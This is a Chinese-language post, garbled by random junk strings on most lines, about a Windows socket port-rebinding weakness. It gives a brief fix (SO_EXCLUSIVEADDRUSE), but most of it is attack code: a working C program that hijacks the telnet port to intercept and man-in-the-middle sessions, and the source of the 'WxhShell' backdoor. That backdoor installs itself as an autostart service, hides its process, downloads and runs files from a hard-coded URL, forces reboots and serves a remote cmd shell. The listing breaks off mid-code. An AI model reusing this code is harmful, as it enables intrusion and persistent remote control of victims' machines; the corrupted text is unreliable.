在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
xP9h$! s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
CueC![pj Sy1O;RTn` saddr.sin_family = AF_INET;
7B\NP`l 0gW{6BtPWm saddr.sin_addr.s_addr = htonl(INADDR_ANY);
_F`JFMS [kqtkgK$j2 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
[q3zs_nz <;W-!R759 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
~$C<^?"b Gos#=H 这意味着什么?意味着可以进行如下的攻击:
Y@#N_]oXj trrK6(p 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
4ytdcb bEmN
tp^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
bHx@ tJ6Q7
J;n 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
~8mz.ZdY hgW1g# 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
^,^MW uM_ww6 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
uKXD(lzX "M-';; 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
9$e$L~I#u .;Gx.}ITG6 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
7=u
Gf$/ +^esL9RG: #include
X0^@E #include
/FC
HF#yK #include
S2Ez}*plp #include
:;+_<pk DWORD WINAPI ClientThread(LPVOID lpParam);
.81Y/Gad_ int main()
tA< UkPT {
kqj)&0|X WORD wVersionRequested;
F:P2:s<d- DWORD ret;
rb4; @& WSADATA wsaData;
`o }+2Cb BOOL val;
PMbZv%.,- SOCKADDR_IN saddr;
oOvQAW8` SOCKADDR_IN scaddr;
un~`| int err;
l5VRdZ4Uf SOCKET s;
& C)1( SOCKET sc;
,lvG5B\0 int caddsize;
%dW;P[0 HANDLE mt;
uQx/o^ DWORD tid;
B|"i`{> wVersionRequested = MAKEWORD( 2, 2 );
i.Y2]1 err = WSAStartup( wVersionRequested, &wsaData );
BLaNS4e if ( err != 0 ) {
n-jPb064 printf("error!WSAStartup failed!\n");
,vf#e=Z return -1;
'm6bfS^T }
zT6nC5E saddr.sin_family = AF_INET;
C,eP!_O Nr$78] o9 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
R_+:nCB@, ;UpJ_y)n8\ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
GwP!:p| saddr.sin_port = htons(23);
'/03m\7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
snfFRc(RE {
B'(zhjV printf("error!socket failed!\n");
=JfwHFHd# return -1;
9oGcbD4* }
sK+uwt val = TRUE;
9U.Ctx:F //SO_REUSEADDR选项就是可以实现端口重绑定的
!i (V.A if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
fi*b]a\' {
<
B]qqqP printf("error!setsockopt failed!\n");
&QfEDDJ return -1;
jxkQ #Y }
&uO-h //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
612,J //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
F$
G)vskd //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
'5$@I{z k]r4b`x` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
C^4,L
\E {
cf,6";8 ret=GetLastError();
`4xQ#K.- printf("error!bind failed!\n");
YU[#4f~ return -1;
0wVM%Dng }
^Ld5< listen(s,2);
#9[> while(1)
gM;m{gXYK {
/"k [T caddsize = sizeof(scaddr);
\ZV>5N3hS //接受连接请求
$3p 48`.\ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
9^n0<(99b if(sc!=INVALID_SOCKET)
]*k ~jY, {
.4"BN<9 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
D>W&#A8&y if(mt==NULL)
fUWrR1 {
JmR2skoV, printf("Thread Creat Failed!\n");
>I~Q[ break;
d1c+Ii% }
X=m^+%iD }
|3B<;/v5 CloseHandle(mt);
7~Inxk; }
KyVzf(^ closesocket(s);
ibQ
xL3 WSACleanup();
N]/cBGy return 0;
Un)Xe }
8g_kZ^<[ DWORD WINAPI ClientThread(LPVOID lpParam)
hO.b?>3NL {
O-UA2?N@j SOCKET ss = (SOCKET)lpParam;
GU/P%c/V SOCKET sc;
dz/@]a unsigned char buf[4096];
nF]R" SOCKADDR_IN saddr;
m`8{arz2 long num;
<v'[Wl@hq DWORD val;
z)^.ai,: 0 DWORD ret;
OwNM`xSa|\ //如果是隐藏端口应用的话,可以在此处加一些判断
'do2n/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
&)tv4L& saddr.sin_family = AF_INET;
9<3}zwJ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
xL.m<XDL saddr.sin_port = htons(23);
VV$#<D<) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@o?Y[BR {
:PN%'~}n printf("error!socket failed!\n");
B;8Zl m9 return -1;
O-p`9(_m }
wI
7gHp val = 100;
#P}n+w_@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
w$iPFZC' {
:qj^RcmVPL ret = GetLastError();
ydO G8EI return -1;
Oj%5FUP~[% }
'Y
,2CN if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
x5PM]~"p {
s92ol0` ret = GetLastError();
9Ca0Tu return -1;
7DK}c]js }
RaSuzy^`*] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
-UidU+ES; {
0!%G#~th printf("error!socket connect failed!\n");
%?+Lkj& closesocket(sc);
!a\v)R closesocket(ss);
zTMLE~w return -1;
T&6>Eb0{ }
.Y7Kd+)s)L while(1)
=BR+J9 {
,!^c`_Q\>@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
I*>q7Hsu //如果是嗅探内容的话,可以再此处进行内容分析和记录
q~aj"GD //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
}L|B@fW num = recv(ss,buf,4096,0);
G+2fmVB*X if(num>0)
> fV"bj. send(sc,buf,num,0);
.6rbn8h else if(num==0)
W-r^ME break;
^4]=D nd% num = recv(sc,buf,4096,0);
V+lS\E. if(num>0)
Z5U\>7@&8 send(ss,buf,num,0);
G^h:#T else if(num==0)
g^|R;s{ break;
v8C( $<3% }
/=za
m3kd closesocket(ss);
K0v S closesocket(sc);
YhRy
C*b return 0 ;
[ t8]'RI% }
J{a9pr6 =c,7uB D{7^y>8_Y- ==========================================================
<a_(qh@B "v0bdaQH3 下边附上一个代码,,WXhSHELL
,m0M:!hK "R)n1,0 ==========================================================
=#Jx~d [C 7>r[.g #include "stdafx.h"
~$^>Vo c}S<<LR #include <stdio.h>
+C7W2!I[G2 #include <string.h>
l+y;>21sTu #include <windows.h>
sb_/FE5e #include <winsock2.h>
cg]Gt1SU #include <winsvc.h>
Qp:m=f6@ #include <urlmon.h>
/ s Apj \@h$|nb #pragma comment (lib, "Ws2_32.lib")
nLk`W"irM #pragma comment (lib, "urlmon.lib")
'/loJz 1 hop|
xtai; #define MAX_USER 100 // 最大客户端连接数
vAop#V #define BUF_SOCK 200 // sock buffer
UB>BVBCt #define KEY_BUFF 255 // 输入 buffer
0x*|X@6\ 1K|F;p #define REBOOT 0 // 重启
cotySio$ #define SHUTDOWN 1 // 关机
ppLLX1S gWj r|m< #define DEF_PORT 5000 // 监听端口
lJfk4 -;M ^ @=4HtA #define REG_LEN 16 // 注册表键长度
lqrI*@>Tz #define SVC_LEN 80 // NT服务名长度
yoe@]c= RSB+Saf.8 // 从dll定义API
GJS( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
hCgk78O? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
H*N{4zBB typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
qG~6YCqii typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
`?l
/HUw _ 3>E+9TQ // wxhshell配置信息
Q qj9o2 struct WSCFG {
{gu3KV int ws_port; // 监听端口
|}YxxeAk char ws_passstr[REG_LEN]; // 口令
;{R;lF, int ws_autoins; // 安装标记, 1=yes 0=no
jHHCJOHB8 char ws_regname[REG_LEN]; // 注册表键名
OA}; pQ9QN char ws_svcname[REG_LEN]; // 服务名
g__s(
IJ char ws_svcdisp[SVC_LEN]; // 服务显示名
dOaCdnd~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
2$t%2>1>@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
RZnmia int ws_downexe; // 下载执行标记, 1=yes 0=no
]D,_<Kk char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
aTH$+f1?Q char ws_filenam[SVC_LEN]; // 下载后保存的文件名
!RwhVaSh y.8nzlkE{ };
y#`;[! WH7UJCQ // default Wxhshell configuration
{LA?v& b' struct WSCFG wscfg={DEF_PORT,
a!u5}[{ "xuhuanlingzhe",
R@ Gll60 1,
H!"TS-s` "Wxhshell",
qZV|}M>P) "Wxhshell",
g;[t1~oF "WxhShell Service",
ofz?L#:2 "Wrsky Windows CmdShell Service",
'+iLW~ "Please Input Your Password: ",
(IjM 1,
km^ZF<. @ "
http://www.wrsky.com/wxhshell.exe",
SS_6VE*sI "Wxhshell.exe"
.ej+?QYwC };
p9\*n5{ jxhZOLG // 消息定义模块
j5/|1N char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
;iJxJX\+ char *msg_ws_prompt="\n\r? for help\n\r#>";
OfA+|xT& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
VhMVoW char *msg_ws_ext="\n\rExit.";
#
&5. char *msg_ws_end="\n\rQuit.";
~d\V> char *msg_ws_boot="\n\rReboot...";
1BEc" char *msg_ws_poff="\n\rShutdown...";
:w|=o9J char *msg_ws_down="\n\rSave to ";
Ets6tM` bF,.6iKI char *msg_ws_err="\n\rErr!";
't*]6^ char *msg_ws_ok="\n\rOK!";
?-9uf\2_ ku}`PS0UGd char ExeFile[MAX_PATH];
o>yXEg int nUser = 0;
}1Mf0S HANDLE handles[MAX_USER];
d,
?GW int OsIsNt;
D Vg$rm` ?Oy0p8 SERVICE_STATUS serviceStatus;
W
9}xfy09 SERVICE_STATUS_HANDLE hServiceStatusHandle;
cud9oJ-=; nsV= // 函数声明
>/}p{Tj int Install(void);
s!MD8ia int Uninstall(void);
%WmTG }L) int DownloadFile(char *sURL, SOCKET wsh);
<*u^8lCA int Boot(int flag);
vE#8&Zq void HideProc(void);
?X\.O-=4X int GetOsVer(void);
BjTgZ98J int Wxhshell(SOCKET wsl);
8~RJnwF^ void TalkWithClient(void *cs);
SG0PQ int CmdShell(SOCKET sock);
t7V7 TL!5' int StartFromService(void);
(64es)B}" int StartWxhshell(LPSTR lpCmdLine);
kv?DE4=; a{JO8<dlm VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
i tk/1 VOID WINAPI NTServiceHandler( DWORD fdwControl );
jr#*;go 7D'D7=Z. // 数据结构和表定义
g$hEVT SERVICE_TABLE_ENTRY DispatchTable[] =
mtE+}b@(!& {
yFd942 {wscfg.ws_svcname, NTServiceMain},
Ar?ZU ASJ {NULL, NULL}
_T8S4s8q };
9^Web~yi# MI:%Eq // 自我安装
d`5AQfL& int Install(void)
YvP62c \ {
9~a 5R]x2
char svExeFile[MAX_PATH];
P-8QXDdr HKEY key;
&u6n5-!v strcpy(svExeFile,ExeFile);
=i;T?*@ OpIeo+^X* // 如果是win9x系统,修改注册表设为自启动
/P]N40_@ if(!OsIsNt) {
CM[83> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4"!kCUB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
vfm Y>nr RegCloseKey(key);
C"s-ttP
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
EymSrZw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
w5/6+@} RegCloseKey(key);
[>3dhj[; return 0;
b9-3 }
Y}Y~?kE>M| }
lHTr7uF( }
zh\"sxL else {
15aPoxo> 7kT X // 如果是NT以上系统,安装为系统服务
BTG_c_?]e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Hfo<EB2Y9N if (schSCManager!=0)
'(N(k@>{ {
mDD96y SC_HANDLE schService = CreateService
YH^@8
(
Q0x?OL] A schSCManager,
dIhfp7| wscfg.ws_svcname,
F`{O wscfg.ws_svcdisp,
0,.|-OZ SERVICE_ALL_ACCESS,
M_r[wYt! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
K3,PmI&W
SERVICE_AUTO_START,
2*Pk1vrI SERVICE_ERROR_NORMAL,
!u
.n svExeFile,
#
kNp); NULL,
O2="'w'kR NULL,
~ kDJ-V NULL,
'}bmDb* NULL,
&o1k_!25 NULL
8xhx*A );
A 2A_F|f if (schService!=0)
JV'aqnb.8\ {
j*4:4B% CloseServiceHandle(schService);
5tLb
o CloseServiceHandle(schSCManager);
|Sua4~yL( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
=#<bB)59 strcat(svExeFile,wscfg.ws_svcname);
X{ 6a if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
BB(v,W RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
DVKb`KJ" RegCloseKey(key);
r=AA
/n< return 0;
hk
S:_e= }
UTN[!0[
}
.P?n<n# CloseServiceHandle(schSCManager);
2Yd@V} }
[cl+AV " }
2cRru]VZ5 IXm[c@5l return 1;
$%
gz ,{ }
Sl<1Rme=w AP1ZIc6 // 自我卸载
Z'}%Mkm`i} int Uninstall(void)
ozl!vf# kv {
;vX1U8 HKEY key;
M}@>h |k%1mE(+=s if(!OsIsNt) {
d\JBjT1g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
S'NLj( RegDeleteValue(key,wscfg.ws_regname);
]IeLKcn RegCloseKey(key);
gMkSl8[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
UK*v\TMv RegDeleteValue(key,wscfg.ws_regname);
4*5 e0:O RegCloseKey(key);
WXDo`_{R return 0;
`Lavjmfr2V }
KtH^k&z.f }
qK9A
/Mc }
k%kEW%I yG else {
'd&4MA 0X Ryxu#]s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
;'08-Et if (schSCManager!=0)
k hD)x0'b {
g#7Q-n3^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
w9O!L9 6 if (schService!=0)
FH$q,BI!R {
8c_X`0jy if(DeleteService(schService)!=0) {
i?uX'apk CloseServiceHandle(schService);
B
I3fk CloseServiceHandle(schSCManager);
@7.7+blS"H return 0;
r3-<~k- }
v&WK9F\ CloseServiceHandle(schService);
H270)Cwn+ }
[^6z> CloseServiceHandle(schSCManager);
Iwh0PfWJ }
g;nLR<] }
v2p0EOS n"D` = return 1;
=NI?Jk*iAq }
1,Mm+_)B hiA\~}sl n // 从指定url下载文件
UL>2gl4s/ int DownloadFile(char *sURL, SOCKET wsh)
~/z%yg {
~w|h;*Bj HRESULT hr;
=l${p*ABQ char seps[]= "/";
yG7H>LF?8 char *token;
^~7Mv^A char *file;
:l1-s] char myURL[MAX_PATH];
g0}jE%) char myFILE[MAX_PATH];
B$x@I\(M i'"#{4I strcpy(myURL,sURL);
Rt&5s)O' token=strtok(myURL,seps);
y@1QVt04 while(token!=NULL)
(6:.u.b {
Th*}U& file=token;
0chpC)#Q3; token=strtok(NULL,seps);
748:*
(O }
HpfZgkC+ CV\y60n GetCurrentDirectory(MAX_PATH,myFILE);
vTK8t:JQ~ strcat(myFILE, "\\");
z/f._Z( strcat(myFILE, file);
Ak kF6d+ send(wsh,myFILE,strlen(myFILE),0);
q 5z^y(Sv send(wsh,"...",3,0);
4\ *:Lc,- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
w\eC{,00: if(hr==S_OK)
/4c`[ return 0;
4Y2I'~' else
^H1m8= return 1;
-o`K/f}d
QJrXn6` }
b7~Jl+m Iz. h // 系统电源模块
cg17e int Boot(int flag)
d^!k{Qx' {
I}0? d HANDLE hToken;
?E|=eO"I1 TOKEN_PRIVILEGES tkp;
!X~NL+ 7iwck.* if(OsIsNt) {
dh [kx OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
V\{@c%xW LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
M<*Tp^Y' tkp.PrivilegeCount = 1;
~OPBZ# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ytjZ7J['{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
[MwL=9;!H if(flag==REBOOT) {
RLF6Bc if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
KB :JVK^ < return 0;
F~
\ONO5 }
]y=U"g else {
YlGUd~$`"+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
yUpN`; return 0;
YI"!&a'yj }
X';qcn_^ }
V6HZvuXV! else {
,Ww}xmq1H if(flag==REBOOT) {
-Fn/= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
'/9j"mIA9$ return 0;
U:n~S }
CLVT5pj=' else {
_|0# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
&dmIv[LU return 0;
:.]EM*p?GV }
b+J|yM<` }
ht ]n* Q[K$f %> return 1;
1+N'cB!y }
i7r)9^y @-\=`#C** // win9x进程隐藏模块
xZ;eV76 void HideProc(void)
<Z 3C&BM {
~K3Lbd|
r /}>8|#U3y HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
wzd(=*N if ( hKernel != NULL )
%H" {
IE996
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Oy=0Hsh@x ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
iJOG"gI& FreeLibrary(hKernel);
f>C+ l( }
]w;t0Bk 9c k"JMla return;
Dbj?l;'1 }
(Z?f eUxp nA("
cD[, // 获取操作系统版本
qp6'n&^& int GetOsVer(void)
H%U {
t`|Rn9- OSVERSIONINFO winfo;
@YH>|{S& winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
4_j_!QH87 GetVersionEx(&winfo);
ov, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
V'W*'wo return 1;
ro<w8V9.a else
Y 'X!T8 return 0;
"i/GzD7 `n }
hDW_a y4 wdBBx\FP // 客户端句柄模块
sGtxqnX:J int Wxhshell(SOCKET wsl)
?;`GCE {
JcmMbd&B SOCKET wsh;
36+/MvIT struct sockaddr_in client;
R(^Sse DWORD myID;
),B/NZ/- |g^YD;9s. while(nUser<MAX_USER)
*kK +Nvt8s {
l9eTghLi int nSize=sizeof(client);
T3
ie-G@< wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
,"#nJC if(wsh==INVALID_SOCKET) return 1;
hf9i%,J )z74,n7- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
4vG-d)"M2 if(handles[nUser]==0)
O4oN) closesocket(wsh);
'R+^+urq^ else
;r"r1'a+@ nUser++;
%gFIu.c }
l6w\E=K WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
>\pF5a` %u&Vt"6m= return 0;
tyW[i8)O} }
h'h8Mm H#hpaP; // 关闭 socket
Hkia&nz'3 void CloseIt(SOCKET wsh)
UF5_be,D {
5p!{#r6m closesocket(wsh);
NwYQ6VEA
nUser--;
M\CzV$\y ExitThread(0);
FO_}9 <s }
z5iCQ4C< lN5PKsGl // 客户端请求句柄
leNX5 sX void TalkWithClient(void *cs)
0Q7<;'m {
}[PwA[k' 13v`rK`7o SOCKET wsh=(SOCKET)cs;
N-F&=u} char pwd[SVC_LEN];
ETL7|C" char cmd[KEY_BUFF];
(9aOET>GG char chr[1];
3Q62H+MC int i,j;
B\rY\ PZV>A!7C8n while (nUser < MAX_USER) {
<HRPloVKo ,{q#U3 if(wscfg.ws_passstr) {
0.R3(O if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
b~>@x{ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1=IOio4U //ZeroMemory(pwd,KEY_BUFF);
HiK+}?I i=0;
2oahQ:
}B while(i<SVC_LEN) {
Gd\/n*j db1ZNw // 设置超时
m ne)c[Qn fd_set FdRead;
Z|a*"@5_ struct timeval TimeOut;
420K6[ FD_ZERO(&FdRead);
vD9.X}l] FD_SET(wsh,&FdRead);
'J&R=MD TimeOut.tv_sec=8;
jA:'P~`Hj TimeOut.tv_usec=0;
P(8Yz W int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
vS5}OV if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
}E(w@& (_}q>3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
B:v_5e\f@ pwd
=chr[0]; !F}GSDDV*
if(chr[0]==0xd || chr[0]==0xa) { [|*7"Q(
pwd=0; u?SwGXi~8
break; cOpe6H6,bz
} Wkk(6gS,
i++; + XBF,<P
} I(BJ1 8F$
{RI^zNgs[
// 如果是非法用户,关闭 socket [>p!*%m
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S m=ln)G=
} mGDc,C=5:
vYXh WqL~
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RZpjr !R
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6 A]a@,PC
_IU5HT}2
while(1) { 5X];?(VTsb
Gy["_;+xU
ZeroMemory(cmd,KEY_BUFF); ShV_8F z
_/P;`@
// 自动支持客户端 telnet标准 v.:Q& ]
j=0; E x_dqko
while(j<KEY_BUFF) { X~o;jJC
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); => 'j_|
cmd[j]=chr[0]; PEjd
if(chr[0]==0xa || chr[0]==0xd) { q*4@d)_&
cmd[j]=0; i}>EGmv m
break; NqKeQezX
} 8|i<4>
j++; c%b|+4
}x
} 7],y(:[=v
P;gd!Yl<-
// 下载文件 {*hGe_^
if(strstr(cmd,"http://")) { {y@8E>y5$
send(wsh,msg_ws_down,strlen(msg_ws_down),0); =$#5Ge]b
if(DownloadFile(cmd,wsh)) kl1Q:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {GT5
else ea$. +
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sEw ?349Bz
} B!)9
>
else { Snmv
3My}u>
switch(cmd[0]) { j<Pw0?~s6
IR2Qc6+{
// 帮助 @0H0!9'
case '?': { @m`H~]AU
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V{>;Z vj1R
break; wS7Vo{#@\
} -3d`e2^&}
// 安装 :si&A;k
case 'i': { ft{i6}
if(Install()) oTb42a_j{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +[i r7?Y.
else 5HbJE'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +B+cN[d
break; 6yYd~|T.Fl
} n?q+:P
// 卸载 s`,g4ce`
case 'r': { {s6#h #U
if(Uninstall()) rW O#h{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gV:0&g\v
else x=W s)&H_Y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <]oPr1
break; 4V]xVma
} 5?(dI9A"K
// 显示 wxhshell 所在路径 <H<Aba9\
case 'p': { Ya<KMBi3
char svExeFile[MAX_PATH]; q]!FFi{w;
strcpy(svExeFile,"\n\r"); &DtI+)[|
strcat(svExeFile,ExeFile); 6y`FW[
send(wsh,svExeFile,strlen(svExeFile),0); :TnU} i_/h
break; zC[LcC*+J
} @#o7U
// 重启 n@C#,v#^0
case 'b': { 1UrkDz?X
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 91a);d
if(Boot(REBOOT)) Pq-@waH3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); oz3!%'
else { f::^zAV
closesocket(wsh); T2|<YJ=
ExitThread(0); $'#}f?
} :=q9ay
break; @\-*aS_8>
} l96AJB'
// 关机 qM^y@B2MO
case 'd': { ?"}U?m=
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =3V4HQi
if(Boot(SHUTDOWN)) wt_ae|hv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ">fRM=fl
else { chuJj
IY
closesocket(wsh); n*|8(fD
ExitThread(0); Mj19;nc0I
} #:MoZw`rlw
break; !HXsxNe
} iztF
// 获取shell |VM=:}s&
case 's': { `q\v~FT
CmdShell(wsh); lY[1P|]
closesocket(wsh); McdK!V
ExitThread(0); NY[48H
break; 3],(oQq^
} FY+@fy
// 退出 IL*MB;0>
case 'x': { mII8jyg*c
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (YmIui>
CloseIt(wsh); vL "noLs
break; <`A!9+
} zrtbk~v8y
// 离开 j_zy"8Y{
case 'q': { 73nmDZO|
send(wsh,msg_ws_end,strlen(msg_ws_end),0); {+9t!'
closesocket(wsh);
"JYWsE
WSACleanup(); :c[T@[
exit(1); ')fIa2dO/
break; dsK^-e6:5
}
pG /g
} O=1#KNS
} D9r;Ys%
4tapQgj24
// 提示信息 G6"4JTWO
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U!nNT==
} Mw;^`ZxT
} (i@(ZG]/
)B5U0iIi
return; VOmS>'$
} $@dPIq4o;}
U[@B63];0
// shell模块句柄 ;q<:iaY9
int CmdShell(SOCKET sock) CTX%~1_`O
{ ].gC9@C:$i
STARTUPINFO si; pl 1CEoe
ZeroMemory(&si,sizeof(si)); +k
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7H[.o~\
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6SSrkj }U
PROCESS_INFORMATION ProcessInfo; O=Vj*G,
char cmdline[]="cmd"; 23zR0z (L
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -]Oi/i, {
return 0; wS:`c
J
} F2=#\U$
QVN@B[9
// 自身启动模式 $)(Zt^
int StartFromService(void) @Z~0!VY
{ Ti5"a<R4m6
typedef struct 3SOrM
{ x C>>K6Nb
DWORD ExitStatus; 00A2[gO9
DWORD PebBaseAddress; vmtmiN8;d
DWORD AffinityMask; -n$hm+S
DWORD BasePriority; 7q^a@5f BG
ULONG UniqueProcessId; w:9n/[
